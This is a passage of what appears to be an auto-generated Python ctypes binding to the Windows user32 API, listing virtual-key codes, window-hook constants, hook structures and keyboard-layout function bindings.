MAKEINTRESOURCE(22)\nRT_HTML = MAKEINTRESOURCE(23)\nRT_MANIFEST = 0x00000018\nCREATEPROCESS_MANIFEST_RESOURCE_ID = 0x00000001\nISOLATIONAWARE_MANIFEST_RESOURCE_ID = 0x00000002\nISOLATIONAWARE_NOSTATICIMPORT_MANIFEST_RESOURCE_ID = 0x00000003\nMINIMUM_RESERVED_MANIFEST_RESOURCE_ID = 0x00000001\nMAXIMUM_RESERVED_MANIFEST_RESOURCE_ID = 0x00000010\n\n\n# WINAPI\n# wvsprintfA(\n# _Out_ LPSTR,\n# _In_ _PrINTf_format_string_ LPCSTR,\n# _In_ va_list arglist);\nwvsprintfA = user32.wvsprintfA\nwvsprintfA.restype = WINAPI\n\n\n# WINAPI\n# wvsprintfW(\n# _Out_ LPWSTR,\n# _In_ _PrINTf_format_string_ LPCWSTR,\n# _In_ va_list arglist);\nwvsprintfW = user32.wvsprintfW\nwvsprintfW.restype = WINAPI\n\nwvsprintf = wvsprintfW\n# wvsprintf = wvsprintfA\n\n# WINAPIV\n# wsprintfA(\n# _Out_ LPSTR,\n# _In_ _PrINTf_format_string_ LPCSTR,\n# ...);\nwsprintfA = user32.wsprintfA\nwsprintfA.restype = WINAPIV\n\n\n# WINAPIV\n# wsprintfW(\n# _Out_ LPWSTR,\n# _In_ _PrINTf_format_string_ LPCWSTR,\n# ...);\nwsprintfW = user32.wsprintfW\nwsprintfW.restype = WINAPIV\n\nwsprintf = wsprintfW\n# wsprintf = wsprintfA\n\nSETWALLPAPER_DEFAULT = -1\nSB_HORZ = 0x00000000\nSB_VERT = 0x00000001\nSB_CTL = 0x00000002\nSB_BOTH = 0x00000003\nSB_LINEUP = 0x00000000\nSB_LINELEFT = 0x00000000\nSB_LINEDOWN = 0x00000001\nSB_LINERIGHT = 0x00000001\nSB_PAGEUP = 0x00000002\nSB_PAGELEFT = 0x00000002\nSB_PAGEDOWN = 0x00000003\nSB_PAGERIGHT = 0x00000003\nSB_THUMBPOSITION = 0x00000004\nSB_THUMBTRACK = 0x00000005\nSB_TOP = 0x00000006\nSB_LEFT = 0x00000006\nSB_BOTTOM = 0x00000007\nSB_RIGHT = 0x00000007\nSB_ENDSCROLL = 0x00000008\nSW_HIDE = 0x00000000\nSW_SHOWNORMAL = 0x00000001\nSW_NORMAL = 0x00000001\nSW_SHOWMINIMIZED = 0x00000002\nSW_SHOWMAXIMIZED = 0x00000003\nSW_MAXIMIZE = 0x00000003\nSW_SHOWNOACTIVATE = 0x00000004\nSW_SHOW = 0x00000005\nSW_MINIMIZE = 0x00000006\nSW_SHOWMINNOACTIVE = 0x00000007\nSW_SHOWNA = 0x00000008\nSW_RESTORE = 0x00000009\nSW_SHOWDEFAULT = 0x0000000A\nSW_FORCEMINIMIZE = 0x0000000B\nSW_MAX = 0x0000000B\nHIDE_WINDOW = 0x00000000\nSHOW_OPENWINDOW = 0x00000001\nSHOW_ICONWINDOW = 0x00000002\nSHOW_FULLSCREEN = 0x00000003\nSHOW_OPENNOACTIVATE = 0x00000004\nSW_PARENTCLOSING = 0x00000001\nSW_OTHERZOOM = 0x00000002\nSW_PARENTOPENING = 0x00000003\nSW_OTHERUNZOOM = 0x00000004\nAW_HOR_POSITIVE = 0x00000001\nAW_HOR_NEGATIVE = 0x00000002\nAW_VER_POSITIVE = 0x00000004\nAW_VER_NEGATIVE = 0x00000008\nAW_CENTER = 0x00000010\nAW_HIDE = 0x00010000\nAW_ACTIVATE = 0x00020000\nAW_SLIDE = 0x00040000\nAW_BLEND = 0x00080000\nKF_EXTENDED = 0x00000100\nKF_DLGMODE = 0x00000800\nKF_MENUMODE = 0x00001000\nKF_ALTDOWN = 0x00002000\nKF_REPEAT = 0x00004000\nKF_UP = 0x00008000\nVK_LBUTTON = 0x00000001\nVK_RBUTTON = 0x00000002\nVK_CANCEL = 0x00000003\nVK_MBUTTON = 0x00000004\nVK_XBUTTON1 = 0x00000005\nVK_XBUTTON2 = 0x00000006\nVK_BACK = 0x00000008\nVK_TAB = 0x00000009\nVK_CLEAR = 0x0000000C\nVK_RETURN = 0x0000000D\nVK_SHIFT = 0x00000010\nVK_CONTROL = 0x00000011\nVK_MENU = 0x00000012\nVK_PAUSE = 0x00000013\nVK_CAPITAL = 0x00000014\nVK_KANA = 0x00000015\nVK_HANGEUL = 0x00000015\nVK_HANGUL = 0x00000015\nVK_JUNJA = 0x00000017\nVK_FINAL = 0x00000018\nVK_HANJA = 0x00000019\nVK_KANJI = 0x00000019\nVK_ESCAPE = 0x0000001B\nVK_CONVERT = 0x0000001C\nVK_NONCONVERT = 0x0000001D\nVK_ACCEPT = 0x0000001E\nVK_MODECHANGE = 0x0000001F\nVK_SPACE = 0x00000020\nVK_PRIOR = 0x00000021\nVK_NEXT = 0x00000022\nVK_END = 0x00000023\nVK_HOME = 0x00000024\nVK_LEFT = 0x00000025\nVK_UP = 0x00000026\nVK_RIGHT = 0x00000027\nVK_DOWN = 0x00000028\nVK_SELECT = 0x00000029\nVK_PRINT = 0x0000002A\nVK_EXECUTE = 0x0000002B\nVK_SNAPSHOT = 0x0000002C\nVK_INSERT = 0x0000002D\nVK_DELETE = 0x0000002E\nVK_HELP = 0x0000002F\nVK_LWIN = 0x0000005B\nVK_RWIN = 0x0000005C\nVK_APPS = 0x0000005D\nVK_SLEEP = 0x0000005F\nVK_NUMPAD0 = 0x00000060\nVK_NUMPAD1 = 0x00000061\nVK_NUMPAD2 = 0x00000062\nVK_NUMPAD3 = 0x00000063\nVK_NUMPAD4 = 0x00000064\nVK_NUMPAD5 = 0x00000065\nVK_NUMPAD6 = 0x00000066\nVK_NUMPAD7 = 0x00000067\nVK_NUMPAD8 = 0x00000068\nVK_NUMPAD9 = 0x00000069\nVK_MULTIPLY = 0x0000006A\nVK_ADD = 0x0000006B\nVK_SEPARATOR = 0x0000006C\nVK_SUBTRACT = 0x0000006D\nVK_DECIMAL = 0x0000006E\nVK_DIVIDE = 0x0000006F\nVK_F1 = 0x00000070\nVK_F2 = 0x00000071\nVK_F3 = 0x00000072\nVK_F4 = 0x00000073\nVK_F5 = 0x00000074\nVK_F6 = 0x00000075\nVK_F7 = 0x00000076\nVK_F8 = 0x00000077\nVK_F9 = 0x00000078\nVK_F10 = 0x00000079\nVK_F11 = 0x0000007A\nVK_F12 = 0x0000007B\nVK_F13 = 0x0000007C\nVK_F14 = 0x0000007D\nVK_F15 = 0x0000007E\nVK_F16 = 0x0000007F\nVK_F17 = 0x00000080\nVK_F18 = 0x00000081\nVK_F19 = 0x00000082\nVK_F20 = 0x00000083\nVK_F21 = 0x00000084\nVK_F22 = 0x00000085\nVK_F23 = 0x00000086\nVK_F24 = 0x00000087\nVK_NAVIGATION_VIEW = 0x00000088\nVK_NAVIGATION_MENU = 0x00000089\nVK_NAVIGATION_UP = 0x0000008A\nVK_NAVIGATION_DOWN = 0x0000008B\nVK_NAVIGATION_LEFT = 0x0000008C\nVK_NAVIGATION_RIGHT = 0x0000008D\nVK_NAVIGATION_ACCEPT = 0x0000008E\nVK_NAVIGATION_CANCEL = 0x0000008F\nVK_NUMLOCK = 0x00000090\nVK_SCROLL = 0x00000091\nVK_OEM_NEC_EQUAL = 0x00000092\nVK_OEM_FJ_JISHO = 0x00000092\nVK_OEM_FJ_MASSHOU = 0x00000093\nVK_OEM_FJ_TOUROKU = 0x00000094\nVK_OEM_FJ_LOYA = 0x00000095\nVK_OEM_FJ_ROYA = 0x00000096\nVK_LSHIFT = 0x000000A0\nVK_RSHIFT = 0x000000A1\nVK_LCONTROL = 0x000000A2\nVK_RCONTROL = 0x000000A3\nVK_LMENU = 0x000000A4\nVK_RMENU = 0x000000A5\nVK_BROWSER_BACK = 0x000000A6\nVK_BROWSER_FORWARD = 0x000000A7\nVK_BROWSER_REFRESH = 0x000000A8\nVK_BROWSER_STOP = 0x000000A9\nVK_BROWSER_SEARCH = 0x000000AA\nVK_BROWSER_FAVORITES = 0x000000AB\nVK_BROWSER_HOME = 0x000000AC\nVK_VOLUME_MUTE = 0x000000AD\nVK_VOLUME_DOWN = 0x000000AE\nVK_VOLUME_UP = 0x000000AF\nVK_MEDIA_NEXT_TRACK = 0x000000B0\nVK_MEDIA_PREV_TRACK = 0x000000B1\nVK_MEDIA_STOP = 0x000000B2\nVK_MEDIA_PLAY_PAUSE = 0x000000B3\nVK_LAUNCH_MAIL = 0x000000B4\nVK_LAUNCH_MEDIA_SELECT = 0x000000B5\nVK_LAUNCH_APP1 = 0x000000B6\nVK_LAUNCH_APP2 = 0x000000B7\nVK_OEM_1 = 0x000000BA\nVK_OEM_PLUS = 0x000000BB\nVK_OEM_COMMA = 0x000000BC\nVK_OEM_MINUS = 0x000000BD\nVK_OEM_PERIOD = 0x000000BE\nVK_OEM_2 = 0x000000BF\nVK_OEM_3 = 0x000000C0\nVK_GAMEPAD_A = 0x000000C3\nVK_GAMEPAD_B = 0x000000C4\nVK_GAMEPAD_X = 0x000000C5\nVK_GAMEPAD_Y = 0x000000C6\nVK_GAMEPAD_RIGHT_SHOULDER = 0x000000C7\nVK_GAMEPAD_LEFT_SHOULDER = 0x000000C8\nVK_GAMEPAD_LEFT_TRIGGER = 0x000000C9\nVK_GAMEPAD_RIGHT_TRIGGER = 0x000000CA\nVK_GAMEPAD_DPAD_UP = 0x000000CB\nVK_GAMEPAD_DPAD_DOWN = 0x000000CC\nVK_GAMEPAD_DPAD_LEFT = 0x000000CD\nVK_GAMEPAD_DPAD_RIGHT = 0x000000CE\nVK_GAMEPAD_MENU = 0x000000CF\nVK_GAMEPAD_VIEW = 0x000000D0\nVK_GAMEPAD_LEFT_THUMBSTICK_BUTTON = 0x000000D1\nVK_GAMEPAD_RIGHT_THUMBSTICK_BUTTON = 0x000000D2\nVK_GAMEPAD_LEFT_THUMBSTICK_UP = 0x000000D3\nVK_GAMEPAD_LEFT_THUMBSTICK_DOWN = 0x000000D4\nVK_GAMEPAD_LEFT_THUMBSTICK_RIGHT = 0x000000D5\nVK_GAMEPAD_LEFT_THUMBSTICK_LEFT = 0x000000D6\nVK_GAMEPAD_RIGHT_THUMBSTICK_UP = 0x000000D7\nVK_GAMEPAD_RIGHT_THUMBSTICK_DOWN = 0x000000D8\nVK_GAMEPAD_RIGHT_THUMBSTICK_RIGHT = 0x000000D9\nVK_GAMEPAD_RIGHT_THUMBSTICK_LEFT = 0x000000DA\nVK_OEM_4 = 0x000000DB\nVK_OEM_5 = 0x000000DC\nVK_OEM_6 = 0x000000DD\nVK_OEM_7 = 0x000000DE\nVK_OEM_8 = 0x000000DF\nVK_OEM_AX = 0x000000E1\nVK_OEM_102 = 0x000000E2\nVK_ICO_HELP = 0x000000E3\nVK_ICO_00 = 0x000000E4\nVK_PROCESSKEY = 0x000000E5\nVK_ICO_CLEAR = 0x000000E6\nVK_PACKET = 0x000000E7\nVK_OEM_RESET = 0x000000E9\nVK_OEM_JUMP = 0x000000EA\nVK_OEM_PA1 = 0x000000EB\nVK_OEM_PA2 = 0x000000EC\nVK_OEM_PA3 = 0x000000ED\nVK_OEM_WSCTRL = 0x000000EE\nVK_OEM_CUSEL = 0x000000EF\nVK_OEM_ATTN = 0x000000F0\nVK_OEM_FINISH = 0x000000F1\nVK_OEM_COPY = 0x000000F2\nVK_OEM_AUTO = 0x000000F3\nVK_OEM_ENLW = 0x000000F4\nVK_OEM_BACKTAB = 0x000000F5\nVK_ATTN = 0x000000F6\nVK_CRSEL = 0x000000F7\nVK_EXSEL = 0x000000F8\nVK_EREOF = 0x000000F9\nVK_PLAY = 0x000000FA\nVK_ZOOM = 0x000000FB\nVK_NONAME = 0x000000FC\nVK_PA1 = 0x000000FD\nVK_OEM_CLEAR = 0x000000FE\nWH_MIN = -1\nWH_MSGFILTER = -1\nWH_JOURNALRECORD = 0x00000000\nWH_JOURNALPLAYBACK = 0x00000001\nWH_KEYBOARD = 0x00000002\nWH_GETMESSAGE = 0x00000003\nWH_CALLWNDPROC = 0x00000004\nWH_CBT = 0x00000005\nWH_SYSMSGFILTER = 0x00000006\nWH_MOUSE = 0x00000007\nWH_HARDWARE = 0x00000008\nWH_DEBUG = 0x00000009\nWH_SHELL = 0x0000000A\nWH_FOREGROUNDIDLE = 0x0000000B\nWH_CALLWNDPROCRET = 0x0000000C\nWH_KEYBOARD_LL = 0x0000000D\nWH_MOUSE_LL = 0x0000000E\nWH_MAX = 0x0000000E\n\nWH_MINHOOK = WH_MIN\nWH_MAXHOOK = WH_MAX\nHC_ACTION = 0x00000000\nHC_GETNEXT = 0x00000001\nHC_SKIP = 0x00000002\nHC_NOREMOVE = 0x00000003\nHC_NOREM = HC_NOREMOVE\nHC_SYSMODALON = 0x00000004\nHC_SYSMODALOFF = 0x00000005\nHCBT_MOVESIZE = 0x00000000\nHCBT_MINMAX = 0x00000001\nHCBT_QS = 0x00000002\nHCBT_CREATEWND = 0x00000003\nHCBT_DESTROYWND = 0x00000004\nHCBT_ACTIVATE = 0x00000005\nHCBT_CLICKSKIPPED = 0x00000006\nHCBT_KEYSKIPPED = 0x00000007\nHCBT_SYSCOMMAND = 0x00000008\nHCBT_SETFOCUS = 0x00000009\n\n\nclass tagCBT_CREATEWNDA(ctypes.Structure):\n pass\n\n\nCBT_CREATEWNDA = tagCBT_CREATEWNDA\nLPCBT_CREATEWNDA = POINTER(tagCBT_CREATEWNDA)\n\n\nclass tagCBT_CREATEWNDW(ctypes.Structure):\n pass\n\n\nCBT_CREATEWNDW = tagCBT_CREATEWNDW\nLPCBT_CREATEWNDW = POINTER(tagCBT_CREATEWNDW)\n\n\nCBT_CREATEWND = CBT_CREATEWNDW\nLPCBT_CREATEWND = LPCBT_CREATEWNDW\n\n\nclass tagCBTACTIVATESTRUCT(ctypes.Structure):\n _fields_ = [\n ('fMouse', BOOL),\n ('hWndActive', HWND),\n ]\n\n\nCBTACTIVATESTRUCT = tagCBTACTIVATESTRUCT\nLPCBTACTIVATESTRUCT = POINTER(tagCBTACTIVATESTRUCT)\n\n\nclass tagWTSSESSION_NOTIFICATION(ctypes.Structure):\n _fields_ = [\n ('cbSize', DWORD),\n ('dwSessionId', DWORD),\n ]\n\n\nWTSSESSION_NOTIFICATION = tagWTSSESSION_NOTIFICATION\nPWTSSESSION_NOTIFICATION = POINTER(tagWTSSESSION_NOTIFICATION)\n\n\nWTS_CONSOLE_CONNECT = 0x00000001\nWTS_CONSOLE_DISCONNECT = 0x00000002\nWTS_REMOTE_CONNECT = 0x00000003\nWTS_REMOTE_DISCONNECT = 0x00000004\nWTS_SESSION_LOGON = 0x00000005\nWTS_SESSION_LOGOFF = 0x00000006\nWTS_SESSION_LOCK = 0x00000007\nWTS_SESSION_UNLOCK = 0x00000008\nWTS_SESSION_REMOTE_CONTROL = 0x00000009\nWTS_SESSION_CREATE = 0x0000000A\nWTS_SESSION_TERMINATE = 0x0000000B\nMSGF_DIALOGBOX = 0x00000000\nMSGF_MESSAGEBOX = 0x00000001\nMSGF_MENU = 0x00000002\nMSGF_SCROLLBAR = 0x00000005\nMSGF_NEXTWINDOW = 0x00000006\nMSGF_MAX = 0x00000008\nMSGF_USER = 0x00001000\nHSHELL_WINDOWCREATED = 0x00000001\nHSHELL_WINDOWDESTROYED = 0x00000002\nHSHELL_ACTIVATESHELLWINDOW = 0x00000003\nHSHELL_WINDOWACTIVATED = 0x00000004\nHSHELL_GETMINRECT = 0x00000005\nHSHELL_REDRAW = 0x00000006\nHSHELL_TASKMAN = 0x00000007\nHSHELL_LANGUAGE = 0x00000008\nHSHELL_SYSMENU = 0x00000009\nHSHELL_ENDTASK = 0x0000000A\nHSHELL_ACCESSIBILITYSTATE = 0x0000000B\nHSHELL_APPCOMMAND = 0x0000000C\nHSHELL_WINDOWREPLACED = 0x0000000D\nHSHELL_WINDOWREPLACING = 0x0000000E\nHSHELL_MONITORCHANGED = 0x00000010\nHSHELL_HIGHBIT = 0x00008000\nHSHELL_FLASH = HSHELL_REDRAW | HSHELL_HIGHBIT\nHSHELL_RUDEAPPACTIVATED = HSHELL_WINDOWACTIVATED | HSHELL_HIGHBIT\nAPPCOMMAND_BROWSER_BACKWARD = 0x00000001\nAPPCOMMAND_BROWSER_FORWARD = 0x00000002\nAPPCOMMAND_BROWSER_REFRESH = 0x00000003\nAPPCOMMAND_BROWSER_STOP = 0x00000004\nAPPCOMMAND_BROWSER_SEARCH = 0x00000005\nAPPCOMMAND_BROWSER_FAVORITES = 0x00000006\nAPPCOMMAND_BROWSER_HOME = 0x00000007\nAPPCOMMAND_VOLUME_MUTE = 0x00000008\nAPPCOMMAND_VOLUME_DOWN = 0x00000009\nAPPCOMMAND_VOLUME_UP = 0x0000000A\nAPPCOMMAND_MEDIA_NEXTTRACK = 0x0000000B\nAPPCOMMAND_MEDIA_PREVIOUSTRACK = 0x0000000C\nAPPCOMMAND_MEDIA_STOP = 0x0000000D\nAPPCOMMAND_MEDIA_PLAY_PAUSE = 0x0000000E\nAPPCOMMAND_LAUNCH_MAIL = 0x0000000F\nAPPCOMMAND_LAUNCH_MEDIA_SELECT = 0x00000010\nAPPCOMMAND_LAUNCH_APP1 = 0x00000011\nAPPCOMMAND_LAUNCH_APP2 = 0x00000012\nAPPCOMMAND_BASS_DOWN = 0x00000013\nAPPCOMMAND_BASS_BOOST = 0x00000014\nAPPCOMMAND_BASS_UP = 0x00000015\nAPPCOMMAND_TREBLE_DOWN = 0x00000016\nAPPCOMMAND_TREBLE_UP = 0x00000017\nAPPCOMMAND_MICROPHONE_VOLUME_MUTE = 0x00000018\nAPPCOMMAND_MICROPHONE_VOLUME_DOWN = 0x00000019\nAPPCOMMAND_MICROPHONE_VOLUME_UP = 0x0000001A\nAPPCOMMAND_HELP = 0x0000001B\nAPPCOMMAND_FIND = 0x0000001C\nAPPCOMMAND_NEW = 0x0000001D\nAPPCOMMAND_OPEN = 0x0000001E\nAPPCOMMAND_CLOSE = 0x0000001F\nAPPCOMMAND_SAVE = 0x00000020\nAPPCOMMAND_PRINT = 0x00000021\nAPPCOMMAND_UNDO = 0x00000022\nAPPCOMMAND_REDO = 0x00000023\nAPPCOMMAND_COPY = 0x00000024\nAPPCOMMAND_CUT = 0x00000025\nAPPCOMMAND_PASTE = 0x00000026\nAPPCOMMAND_REPLY_TO_MAIL = 0x00000027\nAPPCOMMAND_FORWARD_MAIL = 0x00000028\nAPPCOMMAND_SEND_MAIL = 0x00000029\nAPPCOMMAND_SPELL_CHECK = 0x0000002A\nAPPCOMMAND_DICTATE_OR_COMMAND_CONTROL_TOGGLE = 0x0000002B\nAPPCOMMAND_MIC_ON_OFF_TOGGLE = 0x0000002C\nAPPCOMMAND_CORRECTION_LIST = 0x0000002D\nAPPCOMMAND_MEDIA_PLAY = 0x0000002E\nAPPCOMMAND_MEDIA_PAUSE = 0x0000002F\nAPPCOMMAND_MEDIA_RECORD = 0x00000030\nAPPCOMMAND_MEDIA_FAST_FORWARD = 0x00000031\nAPPCOMMAND_MEDIA_REWIND = 0x00000032\nAPPCOMMAND_MEDIA_CHANNEL_UP = 0x00000033\nAPPCOMMAND_MEDIA_CHANNEL_DOWN = 0x00000034\nAPPCOMMAND_DELETE = 0x00000035\nAPPCOMMAND_DWM_FLIP3D = 0x00000036\nFAPPCOMMAND_MOUSE = 0x00008000\nFAPPCOMMAND_KEY = 0x00000000\nFAPPCOMMAND_OEM = 0x00001000\nFAPPCOMMAND_MASK = 0x0000F000\n\n\ndef GET_APPCOMMAND_LPARAM(lParam):\n return HIWORD(lParam & ~FAPPCOMMAND_MASK)\n\n\ndef GET_DEVICE_LPARAM(lParam):\n return HIWORD(lParam & FAPPCOMMAND_MASK)\n\n\nGET_MOUSEORKEY_LPARAM = GET_DEVICE_LPARAM\n\n\ndef GET_FLAGS_LPARAM(lParam):\n return LOWORD(lParam)\n\n\ndef GET_KEYSTATE_LPARAM(lParam):\n return GET_FLAGS_LPARAM(lParam)\n\n\nclass SHELLHOOKINFO(ctypes.Structure):\n _fields_ = [\n ('hwnd', HWND),\n ('rc', RECT),\n ]\n\n\nLPSHELLHOOKINFO = POINTER(SHELLHOOKINFO)\n\n\n\nclass tagEVENTMSG(ctypes.Structure):\n _fields_ = [\n ('message', UINT),\n ('paramL', UINT),\n ('paramH', UINT),\n ('time', DWORD),\n ('hwnd', HWND),\n ]\n\n\nEVENTMSG = tagEVENTMSG\nPEVENTMSGMSG = POINTER(tagEVENTMSG)\nNPEVENTMSGMSG = POINTER(tagEVENTMSG)\nLPEVENTMSGMSG = POINTER(tagEVENTMSG)\n\n\nLPEVENTMSG = POINTER(FAR)\n\n\n\nclass tagCWPSTRUCT(ctypes.Structure):\n _fields_ = [\n ('lParam', LPARAM),\n ('wParam', WPARAM),\n ('message', UINT),\n ('hwnd', HWND),\n ]\n\n\nCWPSTRUCT = tagCWPSTRUCT\nPCWPSTRUCT = POINTER(tagCWPSTRUCT)\nNPCWPSTRUCT = POINTER(tagCWPSTRUCT)\nLPCWPSTRUCT = POINTER(tagCWPSTRUCT)\n\n\n\nclass tagCWPRETSTRUCT(ctypes.Structure):\n _fields_ = [\n ('lResult', LRESULT),\n ('lParam', LPARAM),\n ('wParam', WPARAM),\n ('message', UINT),\n ('hwnd', HWND),\n ]\n\n\nCWPRETSTRUCT = tagCWPRETSTRUCT\nPCWPRETSTRUCT = POINTER(tagCWPRETSTRUCT)\nNPCWPRETSTRUCT = POINTER(tagCWPRETSTRUCT)\nLPCWPRETSTRUCT = POINTER(tagCWPRETSTRUCT)\n\n\nLLKHF_EXTENDED = KF_EXTENDED >> 8\nLLKHF_INJECTED = 0x00000010\nLLKHF_ALTDOWN = KF_ALTDOWN >> 8\nLLKHF_UP = KF_UP >> 8\nLLKHF_LOWER_IL_INJECTED = 0x00000002\nLLMHF_INJECTED = 0x00000001\nLLMHF_LOWER_IL_INJECTED = 0x00000002\n\nclass tagKBDLLHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n ('vkCode', DWORD),\n ('scanCode', DWORD),\n ('flags', DWORD),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nKBDLLHOOKSTRUCT = tagKBDLLHOOKSTRUCT\nLPKBDLLHOOKSTRUCT = POINTER(tagKBDLLHOOKSTRUCT)\nPKBDLLHOOKSTRUCT = POINTER(tagKBDLLHOOKSTRUCT)\n\n\n\nclass tagMSLLHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n ('pt', POINT),\n ('mouseData', DWORD),\n ('flags', DWORD),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nMSLLHOOKSTRUCT = tagMSLLHOOKSTRUCT\nLPMSLLHOOKSTRUCT = POINTER(tagMSLLHOOKSTRUCT)\nPMSLLHOOKSTRUCT = POINTER(tagMSLLHOOKSTRUCT)\n\n\n\nclass tagDEBUGHOOKINFO(ctypes.Structure):\n _fields_ = [\n ('idThread', DWORD),\n ('idThreadInstaller', DWORD),\n ('lParam', LPARAM),\n ('wParam', WPARAM),\n ('code', INT),\n ]\n\n\nDEBUGHOOKINFO = tagDEBUGHOOKINFO\nPDEBUGHOOKINFO = POINTER(tagDEBUGHOOKINFO)\nNPDEBUGHOOKINFO = POINTER(tagDEBUGHOOKINFO)\nLPDEBUGHOOKINFO = POINTER(tagDEBUGHOOKINFO)\n\n\n\nclass tagMOUSEHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n ('pt', POINT),\n ('hwnd', HWND),\n ('wHitTestCode', UINT),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nMOUSEHOOKSTRUCT = tagMOUSEHOOKSTRUCT\nLPMOUSEHOOKSTRUCT = POINTER(tagMOUSEHOOKSTRUCT)\nPMOUSEHOOKSTRUCT = POINTER(tagMOUSEHOOKSTRUCT)\n\n\n\nclass tagMOUSEHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n ('mouseData', DWORD),\n ]\n\n\nMOUSEHOOKSTRUCTEX = tagMOUSEHOOKSTRUCT\nLPMOUSEHOOKSTRUCTEX = POINTER(tagMOUSEHOOKSTRUCT)\nPMOUSEHOOKSTRUCTEX = POINTER(tagMOUSEHOOKSTRUCT)\n\n\n\nclass tagMOUSEHOOKSTRUCTEX(ctypes.Structure):\n _fields_ = [\n ('DUMMYSTRUCTNAME', MOUSEHOOKSTRUCT),\n ('mouseData', DWORD),\n ]\n\n\nMOUSEHOOKSTRUCTEX = tagMOUSEHOOKSTRUCTEX\nLPMOUSEHOOKSTRUCTEX = POINTER(tagMOUSEHOOKSTRUCTEX)\nPMOUSEHOOKSTRUCTEX = POINTER(tagMOUSEHOOKSTRUCTEX)\n\n\n\nclass tagHARDWAREHOOKSTRUCT(ctypes.Structure):\n _fields_ = [\n ('hwnd', HWND),\n ('message', UINT),\n ('wParam', WPARAM),\n ('lParam', LPARAM),\n ]\n\n\nHARDWAREHOOKSTRUCT = tagHARDWAREHOOKSTRUCT\nLPHARDWAREHOOKSTRUCT = POINTER(tagHARDWAREHOOKSTRUCT)\nPHARDWAREHOOKSTRUCT = POINTER(tagHARDWAREHOOKSTRUCT)\n\n\nHKL_PREV = 0x00000000\nHKL_NEXT = 0x00000001\nKLF_ACTIVATE = 0x00000001\nKLF_SUBSTITUTE_OK = 0x00000002\nKLF_REORDER = 0x00000008\nKLF_REPLACELANG = 0x00000010\nKLF_NOTELLSHELL = 0x00000080\nKLF_SETFORPROCESS = 0x00000100\nKLF_SHIFTLOCK = 0x00010000\nKLF_RESET = 0x40000000\nINPUTLANGCHANGE_SYSCHARSET = 0x00000001\nINPUTLANGCHANGE_FORWARD = 0x00000002\nINPUTLANGCHANGE_BACKWARD = 0x00000004\nKL_NAMELENGTH = 0x00000009\n\n# WINAPI\n# LoadKeyboardLayoutA(\n# _In_ LPCSTR pwszKLID,\n# _In_ UINT Flags);\nLoadKeyboardLayoutA = user32.LoadKeyboardLayoutA\nLoadKeyboardLayoutA.restype = WINAPI\n\n\n# WINAPI\n# LoadKeyboardLayoutW(\n# _In_ LPCWSTR pwszKLID,\n# _In_ UINT Flags);\nLoadKeyboardLayoutW = user32.LoadKeyboardLayoutW\nLoadKeyboardLayoutW.restype = WINAPI\n\nLoadKeyboardLayout = LoadKeyboardLayoutW\n# LoadKeyboardLayout = LoadKeyboardLayoutA\n\n# WINAPI\n# ActivateKeyboardLayout(\n# _In_ HKL hkl,\n# _In_ UINT Flags);\nActivateKeyboardLayout = user32.ActivateKeyboardLayout\nActivateKeyboardLayout.restype = WINAPI\n\n\n# WINAPI\n# ActivateKeyboardLayout(\n# _In_ HKL hkl,\n# _In_ UINT Flags);\nActivateKeyboardLayout = user32.ActivateKeyboardLayout\nActivateKeyboardLayout.restype = WINAPI\n\n\n# WINAPI\n# ToUnicodeEx(\n# _In_ UINT wVirtKey,\n# _In_ UINT wScanCode,\n# _In_reads_bytes_(256) CONST BYTE *lpKeyState,\n# _Out_writes_(cchBuff) LPWSTR pwszBuff,\n# _In_ INT cchBuff,\n# _In_ UINT wFlags,\n# _In_opt_ HKL dwhkl);\nToUnicodeEx = user32.ToUnicodeEx\nToUnicodeEx.restype = WINAPI\n\n\n# WINAPI\n# UnloadKeyboardLayout(\n# _In_ HKL hkl);\nUnloadKeyboardLayout = user32.UnloadKeyboardLayout\nUnloadKeyboardLayout.restype = WINAPI\n\n\n# WINAPI\n# GetKeyboardLayoutNameA(\n# _Out_writes_(KL_NAMELENGTH) LPSTR pwszKLID);\nGetKeyboardLayoutNameA = user32.GetKeyboardLayoutNameA\nGetKeyboardLayoutNameA.restype = WINAPI\n\n\n# WINAPI\n# GetKeyboardLayoutNameW(\n# _Out_writes_(KL_NAMELENGTH) LPWSTR pwszKLID);\nGetKeyboardLayoutNameW = user32.GetKeyboardLayoutNameW\nGetKeyboardLayoutNameW.restype = WINAPI\n\nGetKeyboardLayoutName = GetKeyboardLayoutNameW\n# GetKeyboardLayoutName = GetKeyboardLayoutNameA\n\n# WINAPI\n# GetKeyboardLayoutList(\n# _In_ INT nBuff,\n# _Out_writes_to_opt_(nBuff, return) HKL FAR *lpList);\nGetKeyboardLayoutList = user32.GetKeyboardLayoutList\nGetKeyboardLayoutList.restype = WINAPI\n\n\n# WINAPI\n# GetKeyboardLayout(\n# _In_ DWORD idThread);\nGetKeyboardLayout = user32.GetKeyboardLayout\nGetKeyboardLayout.restype = WINAPI\n\n\nclass tagMOUSEMOVEPOINT(ctypes.Structure):\n _fields_ = [\n ('x', INT),\n ('y', INT),\n ('time', DWORD),\n ('dwExtraInfo', ULONG_PTR),\n ]\n\n\nMOUSEMOVEPOINT = tagMOUSEMOVEPOINT\nPMOUSEMOVEPOINT = POINTER(tagMOUSEMOVEPOINT)\nLPMOUSEMOVEPOINT = POINTER(tagMOUSEMOVEPOINT)\n\n\nGMMP_USE_DISPLAY_POINTS = 0x00000001\nGMMP_USE_HIGH_RESOLUTION_POINTS = 0x00000002\n\n# WINAPI\n# GetMouseMovePoINTsEx(\n# _In_ UINT cbSize,\n# _In_ LPMOUSEMOVEPOINT lppt,\n# _Out_writes_(nBufPoINTs) LPMOUSEMOVEPOINT lpptBuf,\n# _In_ INT nBufPoINTs,\n# _In_ DWORD resolution);\nGetMouseMovePoINTsEx = user32.GetMouseMovePoINTsEx\nGetMouseMovePoINTsEx.restype = WINAPI\n\nDESKTOP_READOBJECTS = 0x00000001\nDESKTOP_CREATEWINDOW = 0x00000002\nDESKTOP_CREATEMENU = 0x00000004\nDESKTOP_HOOKCONTROL = 0x00000008\nDESKTOP_JOURNALRECORD = 0x00000010\nDESKTOP_JOURNALPLAYBACK = 0x00000020\nDESKTOP_ENUMERATE = 0x00000040\nDESKTOP_WRITEOBJECTS = 0x00000080\nDESKTOP_SWITCHDESKTOP = 